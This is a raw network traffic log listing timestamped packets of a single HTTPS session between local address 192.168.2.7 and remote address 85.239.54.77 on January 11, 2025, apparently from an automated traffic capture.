Jan 11, 2025 09:26:41.813380003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.813555002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.813580036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.813607931 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.813616991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.813647985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.813673019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.813997984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.814016104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.814074039 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.814081907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.814399004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.814424038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.814454079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.814460993 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.814488888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.814517975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.814817905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.814837933 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.814888000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.814894915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.815351009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.815372944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.815412045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.815423012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.815445900 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.815476894 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.815820932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.815840006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.815892935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.815900087 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.815911055 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.818552971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.821790934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.826267004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.826288939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.826345921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.826354027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.828073978 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.830029964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.900089025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.900118113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.900216103 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.900243998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.900445938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.900470018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.900470018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.900484085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.900510073 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.900536060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.901079893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.901097059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.901148081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.901156902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.901537895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.901571035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.901593924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.901602030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.901618004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.901643991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.902096987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.902116060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.902164936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.902172089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.902199030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.902223110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.902546883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.902565002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.902602911 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.902610064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.902632952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.902651072 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.903261900 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.903280973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.903366089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.903373957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.906562090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.910088062 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.912997007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.913016081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.913072109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.913089037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.914155006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.919339895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.986814022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.986839056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.986965895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.986999989 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.987405062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.987428904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.987482071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.987493992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.987510920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.987541914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.987930059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.987948895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.987996101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.988008976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.988033056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.988056898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.988415956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.988432884 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.988477945 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.988488913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.989057064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.989078045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.989110947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.989121914 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.989139080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.989167929 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.989833117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.989850044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.989901066 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.989907026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.989943981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.990353107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.990370035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.990413904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.990421057 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.990535975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.995774984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.999803066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.999825001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.999892950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.999912024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.999952078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.004286051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.073741913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.073771954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.073812962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.073822021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.073836088 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.073858976 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.074187994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.074208021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.074238062 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.074244976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.074266911 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.074280977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.074615002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.074634075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.074676991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.074685097 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.074722052 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.074731112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.075201035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.075220108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.075253963 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.075261116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.075294971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.075301886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.075943947 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.075961113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.076001883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.076009989 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.076025963 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.076044083 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.076097012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.076113939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.076141119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.076147079 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.076167107 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.076185942 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.076766014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.076783895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.076863050 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.076870918 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.076908112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.083805084 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.086664915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.086687088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.086728096 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.086736917 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.086757898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.086781025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.091830015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.160547972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.160578012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.160763025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.160763025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.160792112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.160842896 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.160907030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.160928011 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.160954952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.160960913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.160985947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.161005974 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.161269903 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.161295891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.161345005 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.161353111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.161392927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.161766052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.161787987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.161823034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.161832094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.161854029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.161875963 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.162169933 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.162189007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.162237883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.162245989 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.162283897 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.162657022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.162677050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.162734032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.162740946 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.162750959 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.162781954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.163089037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.163108110 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.163155079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.163162947 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.163173914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.163202047 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.169384956 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.173535109 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.173558950 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.173599005 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.173605919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.173640013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.173659086 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.177923918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.247359991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.247385025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.247497082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.247514009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.247551918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.247656107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.247675896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.247704029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.247711897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.247745037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.247762918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.248104095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.248127937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.248181105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.248188019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.248222113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.248652935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.248671055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.248722076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.248728037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.248768091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.252362013 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.252379894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.252425909 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.252432108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.252455950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.252463102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.252645016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.252664089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.252693892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.252698898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.252721071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.252736092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.252851963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.252870083 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.252907991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.252913952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.252957106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.255976915 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.261576891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.261629105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.261670113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.261677980 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.261693954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.261715889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.263942003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.335220098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.335246086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.335382938 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.335412979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.335454941 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.335891008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.335907936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.335968971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.335975885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.336002111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.336504936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.336520910 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.336574078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.336580038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.336607933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.336941957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.336956024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.337003946 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.337008953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.337040901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.337107897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.337121010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.337156057 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.337162018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.337203979 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.337321043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.337335110 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.337373018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.337380886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.337392092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.337410927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.337413073 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.337424040 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.337439060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.337471008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.344352007 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.348270893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.348298073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.348406076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.348422050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.348483086 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.352682114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.421025991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.421056032 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.421103954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.421133041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.421159983 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.421173096 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.421550035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.421570063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.421624899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.421636105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.421681881 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.422032118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.422046900 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.422086000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.422094107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.422117949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.422127962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.422692060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.422707081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.422758102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.422769070 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.422813892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.422987938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.423002958 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.423046112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.423053026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.423096895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.423544884 CET	443	49941	85.239.54.77	192.168.2.7
